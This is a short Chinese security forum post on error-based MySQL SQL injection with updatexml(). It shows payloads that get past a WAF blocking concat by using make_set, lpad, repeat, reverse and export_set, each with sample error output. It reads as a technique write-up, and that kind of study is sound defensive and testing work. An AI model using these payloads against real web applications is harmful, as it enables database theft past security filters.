updatexml injection without concat

mochazz / 2018-03-14 23:24:33 / 浏览数 14432 安全技术 技术讨论 顶(1) 踩(0)

今天，一位朋友遇到sql注入漏洞，被waf给拦截了。目标使用的中间件为nginx，可以使用updatexml进行报错注入，waf使用mod-security规则，而且开发人员自己改写了

既然updatexml函数是从特殊字符、字母后面开始截取的，我们就需要在我们想要的数据前面拼接上特殊字符。waf禁用了concat等常见字符串拼接函数，那么我们可以使用

```
mysql> select updatexml(1,make_set(3,'~',(select user())),1);
```

关于make_set函数的用法，可以参考：mysql MAKE_SET()用法
，我们还可以找到类似的函数：lpad()、reverse()、repeat()、export_set() (lpad()、reverse()、repeat()这三个函数使用的前提是所查询的值中，必须至少含有一个特殊字

```
mysql> select updatexml(1,lpad('@',30,(select user())),1);
ERROR 1105 (HY000): XPATH syntax error: '@localhostroot@localhostr@'


mysql> select updatexml(1,repeat((select user()),2),1);
ERROR 1105 (HY000): XPATH syntax error: '@localhostroot@localhost'


mysql> select updatexml(1,(select user()),1);
ERROR 1105 (HY000): XPATH syntax error: '@localhost'
mysql> select updatexml(1,reverse((select user())),1);
ERROR 1105 (HY000): XPATH syntax error: '@toor'


mysql> select updatexml(1,export_set(1|2,'::',(select user())),1);
ERROR 1105 (HY000): XPATH syntax error: '::,::,root@localhost,root@localh'
```

还有一个要注意的是：updatexml报错最多只能显示32位，我们结合SUBSTR函数来获取数据就行了。

参考文章：

- MySQL updatexml()、extractvalue() 报错型SQL注入
- mysql MAKE_SET()用法
- MySQL字符串函数详解(推荐)

上一篇：对于单登陆页面的渗透测试 下一篇：渗透技巧——获得Windows系统...

1. 0 条回复
   - 动动手指，沙发就是你的了！